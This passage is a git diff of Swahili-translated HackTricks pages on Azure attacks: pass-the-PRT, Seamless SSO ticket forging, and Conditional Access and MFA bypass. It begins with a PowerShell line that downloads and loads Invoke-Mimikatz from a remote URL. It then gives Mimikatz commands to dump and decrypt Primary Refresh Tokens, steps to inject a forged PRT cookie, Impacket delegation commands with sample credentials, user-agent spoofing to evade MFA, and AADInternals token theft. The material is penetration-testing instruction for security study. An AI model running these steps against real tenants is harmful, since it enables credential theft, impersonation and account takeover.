(New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") -Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' -``` -(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview) - -
- -**Nakili** sehemu iliyoandikwa **Prt** na uihifadhi.\ -Pia toa funguo ya kikao (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) ambayo unaweza kuona ikiwa imeangaziwa hapa chini. Hii imefungwa na tutahitaji kutumia funguo zetu za DPAPI kuzifungua. - -
- -> [!NOTE] -> Ikiwa huoni data yoyote ya PRT inaweza kuwa kwamba **huna PRT yoyote** kwa sababu kifaa chako hakijajiunga na Azure AD au inaweza kuwa unatumia **toleo la zamani** la Windows 10. - -Ili **kufungua** funguo ya kikao unahitaji **kuinua** mamlaka yako hadi **SYSTEM** ili kukimbia chini ya muktadha wa kompyuta ili uweze kutumia **funguo ya DPAPI kufungua**. Unaweza kutumia amri zifuatazo kufanya hivyo: -``` -token::elevate -dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect -``` -
- -#### Chaguo 1 - Mimikatz Kamili - -- Sasa unataka kunakili thamani ya Muktadha: - -
- -- Na thamani ya ufunguo uliochukuliwa: - -
- -- Hatimaye unaweza kutumia taarifa hizi zote **kuunda vidakuzi vya PRT**: -```bash -Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] -``` -
- -- Tembelea [https://login.microsoftonline.com](https://login.microsoftonline.com), safisha vidakuzi vyote kwa login.microsoftonline.com na ingiza kidakuzi kipya. -``` -Name: x-ms-RefreshTokenCredential -Value: [Paste your output from above] -Path: / -HttpOnly: Set to True (checked) -``` -- Kisha nenda kwenye [https://portal.azure.com](https://portal.azure.com) - -> [!CAUTION] -> Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haipotei, ikiwa inatoweka, huenda umekosea na unahitaji kupitia mchakato tena. Ikiwa haipotei, unapaswa kuwa salama. - -#### Chaguo la 2 - roadrecon kutumia PRT - -- Fanya upya PRT kwanza, ambayo itahifadhiwa katika `roadtx.prt`: -```bash -roadtx prt -a renew --prt --prt-sessionkey -``` -- Sasa tunaweza **kuomba tokeni** kwa kutumia kivinjari cha mwingiliano na `roadtx browserprtauth`. Ikiwa tutatumia amri ya `roadtx describe`, tunaona tokeni ya ufikiaji ina madai ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na madai ya MFA. -```bash -roadtx browserprtauth -roadtx describe < .roadtools_auth -``` -
- -#### Chaguo 3 - roadrecon kutumia funguo zilizotokana - -Kwa kuwa na muktadha na funguo zilizotokana zilizotolewa na mimikatz, inawezekana kutumia roadrecon kuunda cookie mpya iliyosainiwa na: -```bash -roadrecon auth --prt-cookie --prt-context --derives-key -``` -## Marejeleo - -- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/) -- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) -- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md similarity index 86% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md index 92e33da25..93ab7e6ba 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md @@ -4,17 +4,17 @@ ## Basic Information -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) kiotomatiki **inaingia watumiaji wanapokuwa kwenye vifaa vyao vya kampuni** vilivyounganishwa na mtandao wa kampuni yako. Wakati imewezeshwa, **watumiaji hawahitaji kuandika nywila zao kuingia kwenye Azure AD**, na kawaida, hata kuandika majina yao ya watumiaji. Kipengele hiki kinawapa watumiaji wako ufikiaji rahisi wa programu zako za msingi wa wingu bila kuhitaji sehemu zozote za ndani. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) kiotomatiki **inasaini watumiaji wanapokuwa kwenye vifaa vyao vya kampuni** vilivyounganishwa na mtandao wa kampuni yako. Wakati imewezeshwa, **watumiaji hawahitaji kuandika nywila zao ili kuingia kwenye Azure AD**, na kwa kawaida, hata kuandika majina yao ya watumiaji. Kipengele hiki kinawapa watumiaji wako ufikiaji rahisi wa programu zako za msingi wa wingu bila kuhitaji vipengele vyovyote vya ziada vya ndani.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

-Kimsingi Azure AD Seamless SSO **inaingia watumiaji** wanapokuwa **kwenye PC iliyounganishwa na kikoa cha ndani**. +Kimsingi Azure AD Seamless SSO **inasaini watumiaji** wanapokuwa **kwenye PC iliyounganishwa na kikoa cha ndani**. Inasaidiwa na [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) na [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md). Desktop SSO inatumia **Kerberos** kwa uthibitishaji. Wakati imewekwa, Azure AD Connect inaunda **akaunti ya kompyuta inayoitwa `AZUREADSSOACC$`** katika AD ya ndani. Nywila ya akaunti ya `AZUREADSSOACC$` **inatumwa kama maandiko wazi kwa Entra ID** wakati wa usanidi. -**Tiketi za Kerberos** **zinahifadhiwa** kwa kutumia **NTHash (MD4)** ya nywila na Entra ID inatumia nywila iliyotumwa kufungua tiketi hizo. +**Tiketi za Kerberos** **zimefungwa** kwa kutumia **NTHash (MD4)** ya nywila na Entra ID inatumia nywila iliyotumwa kufungua tiketi hizo. **Entra ID** inatoa **kiungo** (https://autologon.microsoftazuread-sso.com) ambacho kinakubali **tiketi** za Kerberos. Kivinjari cha mashine iliyounganishwa na kikoa kinapeleka tiketi hizi kwa kiungo hiki kwa SSO. @@ -89,7 +89,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' ``` > [!NOTE] > Kwa taarifa za sasa unaweza tu kutumia chombo **SeamlessPass** kama ilivyoelezwa hapo awali kupata tokens za azure na entraid kwa mtumiaji yeyote katika eneo hilo. -> Unaweza pia kutumia mbinu za awali (na nyingine) kupata hash ya nenosiri la mwathirika unayetaka kujifanya badala ya akaunti ya `AZUREADSSOACC$`. +> Unaweza pia kutumia mbinu za awali (na nyingine) kupata hash ya nywila ya mwathirika unayetaka kujifanya badala ya akaunti ya `AZUREADSSOACC$`. #### Kuunda Tiketi za Fedha @@ -117,9 +117,9 @@ Ili kutumia tiketi ya fedha, hatua zifuatazo zinapaswa kufanywa: - Tembelea **`about:config`**. - Weka upendeleo wa [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) kwa [thamani](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) iliyoainishwa: - `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` -- Tembelea Firefox `Settings` > Tafuta `Allow Windows single sign-on for Microsoft, work and school accounts` na uweke kwenye hali ya kuwezesha. +- Tembelea `Settings` za Firefox > Tafuta `Allow Windows single sign-on for Microsoft, work and school accounts` na uweke kwenye hali ya kazi. 3. **Fikia Programu ya Mtandao:** -- Tembelea programu ya mtandao ambayo imeunganishwa na eneo la AAD la shirika. Mfano wa kawaida ni [login.microsoftonline.com](https://login.microsoftonline.com/). +- Tembelea programu ya mtandao ambayo imeunganishwa na kikoa cha AAD cha shirika. Mfano wa kawaida ni [login.microsoftonline.com](https://login.microsoftonline.com/). 4. **Mchakato wa Uthibitishaji:** - Katika skrini ya kuingia, jina la mtumiaji linapaswa kuingizwa, huku uwanja wa nywila ukiwa tupu. - Ili kuendelea, bonyeza TAB au ENTER. @@ -137,7 +137,7 @@ Ili kufanya shambulio inahitajika: 1. Hatua 1 – Ongeza akaunti yako ya kompyuta -- Inaunda `ATTACKBOX$` na kuchapisha SID/NTLM hash yake. Mtumiaji yeyote wa eneo anaweza kufanya hivi wakati MachineAccountQuota > 0 +- Inaunda `ATTACKBOX$` na kuchapisha SID/NTLM hash yake. Mtumiaji yeyote wa kikoa anaweza kufanya hivi wakati MachineAccountQuota > 0 ```bash # Impacket python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \ @@ -153,7 +153,7 @@ $SID = (Get-ADComputer ATTACKBOX$).SID Set-ADComputer AZUREADSSOACC$ ` -PrincipalsAllowedToDelegateToAccount $SID ``` -3. Hatua ya 3 – Tengeneza TGS kwa mtumiaji yeyote (mfano: alice) +3. Hatua 3 – Fanya TGS kwa mtumiaji yeyote (mfano: alice) ```bash # Using your machine's password or NTLM hash python3 getST.py -dc-ip 192.168.1.10 \ @@ -173,11 +173,11 @@ You can now use the **TGS to access Azure resources as the impersonated user.** ### ~~Kuunda tiketi za Kerberos kwa watumiaji wa wingu pekee~~ -Ikiwa wasimamizi wa Active Directory wana uf access kwa Azure AD Connect, wanaweza **kweka SID kwa mtumiaji yeyote wa wingu**. Kwa njia hii tiketi za Kerberos **zinaweza kuundwa pia kwa watumiaji wa wingu pekee**. Sharti pekee ni kwamba SID iwe [SID]() sahihi. +Ikiwa wasimamizi wa Active Directory wana ufikiaji wa Azure AD Connect, wanaweza **kweka SID kwa mtumiaji yeyote wa wingu**. Kwa njia hii tiketi za Kerberos **zinaweza kuundwa pia kwa watumiaji wa wingu pekee**. Sharti pekee ni kwamba SID iwe [SID](). > [!CAUTION] > Kubadilisha SID ya watumiaji wa usimamizi wa wingu pekee sasa **imezuiwa na Microsoft**.\ -> Kwa maelezo zaidi angalia [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) +> Kwa maelezo angalia [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 075c62f7f..aa680a988 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,18 +1,18 @@ -# Az - Conditional Access Policies & MFA Bypass +# Az - Sera za Ufikiaji wa Masharti & Bypass ya MFA {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Taarifa za Msingi -Azure Conditional Access policies ni sheria zilizowekwa katika Microsoft Azure ili kutekeleza udhibiti wa ufikiaji kwa huduma na programu za Azure kulingana na **masharti** fulani. Sera hizi zinasaidia mashirika kulinda rasilimali zao kwa kutumia udhibiti sahihi wa ufikiaji chini ya hali sahihi.\ -Sera za ufikiaji wa masharti k基本 **zinaelezea** **Nani** anaweza kufikia **Nini** kutoka **Wapi** na **Jinsi**. +Sera za Ufikiaji wa Masharti za Azure ni sheria zilizowekwa katika Microsoft Azure ili kutekeleza udhibiti wa ufikiaji kwa huduma na programu za Azure kulingana na **masharti** fulani. Sera hizi zinasaidia mashirika kulinda rasilimali zao kwa kutumia udhibiti sahihi wa ufikiaji chini ya hali sahihi.\ +Sera za ufikiaji wa masharti kimsingi **zinafafanua** **Nani** anaweza kufikia **Nini** kutoka **Wapi** na **Jinsi**. Hapa kuna mifano kadhaa: 1. **Sera ya Hatari ya Kuingia**: Sera hii inaweza kuwekwa ili kuhitaji uthibitisho wa hatua nyingi (MFA) wakati hatari ya kuingia inagundulika. Kwa mfano, ikiwa tabia ya kuingia ya mtumiaji ni ya ajabu ikilinganishwa na muundo wao wa kawaida, kama kuingia kutoka nchi tofauti, mfumo unaweza kuomba uthibitisho wa ziada. 2. **Sera ya Uzingatiaji wa Kifaa**: Sera hii inaweza kuzuia ufikiaji wa huduma za Azure tu kwa vifaa ambavyo vinakidhi viwango vya usalama vya shirika. Kwa mfano, ufikiaji unaweza kuruhusiwa tu kutoka kwa vifaa ambavyo vina programu ya antivirus iliyo na sasisho au vinatumia toleo fulani la mfumo wa uendeshaji. -## Enumeration +## Uhesabuji ```bash # Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1) az rest --method GET --uri 'https://graph.windows.net//policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}' @@ -22,7 +22,7 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona ``` ## Sera za Upatikanaji wa Masharti -Inawezekana kwamba sera ya upatikanaji wa masharti **inaangalia taarifa fulani ambazo zinaweza kubadilishwa kwa urahisi kuruhusu kupita sera hiyo**. Na ikiwa kwa mfano sera hiyo ilikuwa inakamilisha MFA, mshambuliaji ataweza kuipita. +Inawezekana kwamba sera ya upatikanaji wa masharti **inaangalia taarifa ambazo zinaweza kubadilishwa kwa urahisi kuruhusu kupita sera hiyo**. Na ikiwa kwa mfano sera hiyo ilikuwa inakamilisha MFA, mshambuliaji ataweza kuipita. Wakati wa kuunda sera ya upatikanaji wa masharti, ni muhimu kuashiria **watumiaji** walioathirika na **rasilimali za lengo** (kama programu zote za wingu). @@ -32,22 +32,22 @@ Pia inahitajika kuunda **masharti** ambayo yatakuwa **yanasababisha** sera hiyo: - Inaweza kupitishwa kwa kutumia VPN au Proxy kuungana na nchi au kufanikiwa kuingia kutoka anwani ya IP iliyoidhinishwa - **Hatari za Microsoft**: Hatari ya mtumiaji, Hatari ya kuingia, Hatari ya ndani - **Majukwaa ya vifaa**: Kila kifaa au kuchagua Android, iOS, Windows phone, Windows, macOS, Linux -- Ikiwa “Kila kifaa” hakijachaguliwa lakini chaguo zingine zote zimechaguliwa, inawezekana kupita kwa kutumia user-agent wa nasibu usiokuwa na uhusiano na majukwaa hayo +- Ikiwa “Kila kifaa” hakijachaguliwa lakini chaguo zingine zote zimechaguliwa, inawezekana kupita kwa kutumia user-agent wa nasibu usiohusiana na majukwaa hayo - **Programu za mteja**: Chaguo ni “Kivinjari”, “Programu za simu na wateja wa desktop”, “Wateja wa Exchange ActiveSync” na “Wateja wengine” - Ili kupita kuingia na chaguo kisichochaguliwa -- **Chuja kwa vifaa**: Inawezekana kuunda sheria inayohusiana na kifaa kilichotumika +- **Filita kwa vifaa**: Inawezekana kuunda sheria inayohusiana na kifaa kilichotumika - **Mchakato wa uthibitishaji**: Chaguo ni “Mchakato wa nambari ya kifaa” na “Uhamisho wa uthibitishaji” -- Hii haitamathirisha mshambuliaji isipokuwa anajaribu kutumia mojawapo ya protokali hizo katika jaribio la phishing kuingia kwenye akaunti ya mwathirika +- Hii haitamathirisha mshambuliaji isipokuwa anajaribu kutumia mojawapo ya protokali hizo katika jaribio la uvuvi kuingia kwenye akaunti ya mwathirika -Matokeo yanayoweza kutokea ni: Zuia au Ruhusu upatikanaji na masharti yanayoweza kama kuhitaji MFA, kifaa kuwa na ufanisi... +Matokeo yanayowezekana ni: Zuia au Ruhusu upatikanaji na masharti yanayoweza kama kuhitaji MFA, kifaa kuwa na ufanisi... ### Majukwaa ya Vifaa - Masharti ya Kifaa -Inawezekana kuweka masharti kulingana na **jukwaa la kifaa** (Android, iOS, Windows, macOS...), hata hivyo, hii inategemea **user-agent** hivyo ni rahisi kupita. Hata **kufanya chaguo zote zitekeleze MFA**, ikiwa utatumia **user-agent ambao haujafahamika,** utaweza kupita MFA au kuzuia: +Inawezekana kuweka masharti kulingana na **jukwaa la kifaa** (Android, iOS, Windows, macOS...), hata hivyo, hii inategemea **user-agent** hivyo ni rahisi kupita. Hata **kufanya chaguo zote zitekeleze MFA**, ikiwa utatumia **user-agent ambayo haitambuliwi,** utaweza kupita MFA au kuzuia:
-Kufanya kivinjari **kitume user-agent usiojulikana** (kama `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) inatosha kutosababisha masharti haya.\ +Kufanya kivinjari **kitume user-agent isiyojulikana** (kama `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) inatosha kutosababisha masharti haya.\ Unaweza kubadilisha user agent **kwa mikono** katika zana za maendeleo:
@@ -65,32 +65,32 @@ Inawezekana kuunda **sera za upatikanaji wa masharti kuzuia au kulazimisha** kwa
Ili kujaribu kupita ulinzi huu unapaswa kuona ikiwa unaweza **kuingia tu katika programu yoyote**.\ -Zana [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ina **nambari za programu kumi za ndani** na itajaribu kuingia ndani yao na kukujulisha na hata kukupa token ikiwa ni mafanikio. +Zana [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ina **mifumo ya utambulisho wa programu kumi** na itajaribu kuingia ndani yao na kukujulisha na hata kukupa token ikiwa ni mafanikio. -Ili **kujaribu nambari maalum za programu katika rasilimali maalum** unaweza pia kutumia zana kama: +Ili **kujaribu mifumo maalum ya utambulisho katika rasilimali maalum** unaweza pia kutumia zana kama: ```bash roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout ``` -Zaidi ya hayo, inawezekana pia kulinda njia ya kuingia (kwa mfano, ikiwa unajaribu kuingia kutoka kwa kivinjari au kutoka kwa programu ya desktop). Zana [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) inafanya baadhi ya ukaguzi ili kujaribu kupita ulinzi huu pia. +Zaidi ya hayo, inawezekana pia kulinda njia ya kuingia (kwa mfano, ikiwa unajaribu kuingia kutoka kwa kivinjari au kutoka kwa programu ya desktop). Chombo [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) hufanya baadhi ya ukaguzi ili kujaribu kupita ulinzi huu pia. -Zana [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) inaweza pia kutumika kwa madhumuni sawa ingawa inaonekana haijatunzwa. +Chombo [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) kinaweza pia kutumika kwa madhumuni sawa ingawa kinaonekana hakijatunzwa. -Zana [**ROPCI**](https://github.com/wunderwuzzi23/ropci) inaweza pia kutumika kujaribu ulinzi huu na kuona ikiwa inawezekana kupita MFAs au vizuizi, lakini zana hii inafanya kazi kutoka kwa mtazamo wa **whitebox**. Kwanza unahitaji kupakua orodha ya Programu zilizoruhusiwa katika mpangilio na kisha itajaribu kuingia ndani yao. +Chombo [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kinaweza pia kutumika kujaribu ulinzi huu na kuona ikiwa inawezekana kupita MFAs au vizuizi, lakini chombo hiki kinatumika kutoka kwa mtazamo wa **whitebox**. Kwanza unahitaji kupakua orodha ya Programu zinazoruhusiwa katika mpangilio na kisha itajaribu kuingia ndani yao. -## Mipango Mingine ya Kuondoa Az MFA +## Mipango Mingine ya Az MFA -### Kengele ya Simu +### Sauti ya Kengele Chaguo moja la Azure MFA ni **kupokea simu kwenye nambari ya simu iliyowekwa** ambapo mtumiaji ataulizwa **kutuma herufi `#`**. > [!CAUTION] -> Kwa kuwa herufi ni tu **sauti**, mshambuliaji anaweza **kuathiri** ujumbe wa **voicemail** wa nambari ya simu, kuweka kama ujumbe **sauti ya `#`** na kisha, wakati wa kuomba MFA hakikisha kwamba **simu ya waathiriwa inatumika** (ikiitafuta) ili simu ya Azure irejeleze kwenye voicemail. +> Kwa kuwa herufi ni tu **sauti**, mshambuliaji anaweza **kuathiri** ujumbe wa **voicemail** wa nambari ya simu, kuweka kama ujumbe **sauti ya `#`** na kisha, wakati wa kuomba MFA hakikisha kwamba **simu ya waathiriwa inashughulika** (ikiitafuta) ili simu ya Azure irejeleze kwenye voicemail. ### Vifaa Vinavyokubalika -Sera mara nyingi zinauliza kifaa kinachokubalika au MFA, hivyo **mshambuliaji anaweza kujiandikisha kifaa kinachokubalika**, kupata token ya **PRT** na **kupita njia hii MFA**. +Sera mara nyingi zinahitaji kifaa kinachokubalika au MFA, hivyo **mshambuliaji anaweza kujiandikisha kifaa kinachokubalika**, kupata tokeni ya **PRT** na **kupita njia hii MFA**. Anza kwa kujiandikisha **kifaa kinachokubalika katika Intune**, kisha **pata PRT** kwa: ```bash @@ -105,7 +105,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken Find more information about this kind of attack in the following page: {{#ref}} -../../az-lateral-movement-cloud-on-prem/pass-the-prt.md +../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} ## Tooling @@ -131,7 +131,7 @@ Invoke-MFASweep -Username -Password ``` ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -Chombo hiki kimeisaidia kubaini njia za kupita MFA na kisha kutumia APIs katika AAD tenants nyingi za uzalishaji, ambapo wateja wa AAD walidhani walikuwa na MFA iliyotekelezwa, lakini uthibitisho wa msingi wa ROPC ulifanikiwa. +Chombo hiki kimeisaidia kubaini njia za kupita MFA na kisha kutumia APIs katika AAD tenants nyingi za uzalishaji, ambapo wateja wa AAD walidhani walikuwa na MFA iliyotekelezwa, lakini uthibitishaji wa msingi wa ROPC ulifanikiwa. > [!TIP] > Unahitaji kuwa na ruhusa za kuorodhesha programu zote ili uweze kuunda orodha ya programu za kushambulia kwa nguvu. @@ -161,7 +161,7 @@ Kwa sababu **Azure** **portal** **haijakandamizwa**, inawezekana **kukusanya tok $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` -Ikiwa token ina ruhusa Sites.Read.All (kutoka Sharepoint), hata kama huwezi kufikia Sharepoint kutoka mtandao kwa sababu ya MFA, inawezekana kutumia token hiyo kufikia faili kwa kutumia token iliyozalishwa: +Ikiwa token ina ruhusa Sites.Read.All (kutoka Sharepoint), hata kama huwezi kufikia Sharepoint kutoka mtandao kwa sababu ya MFA, inawezekana kutumia token hiyo kufikia faili kwa kutumia token iliyoundwa: ```bash $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ```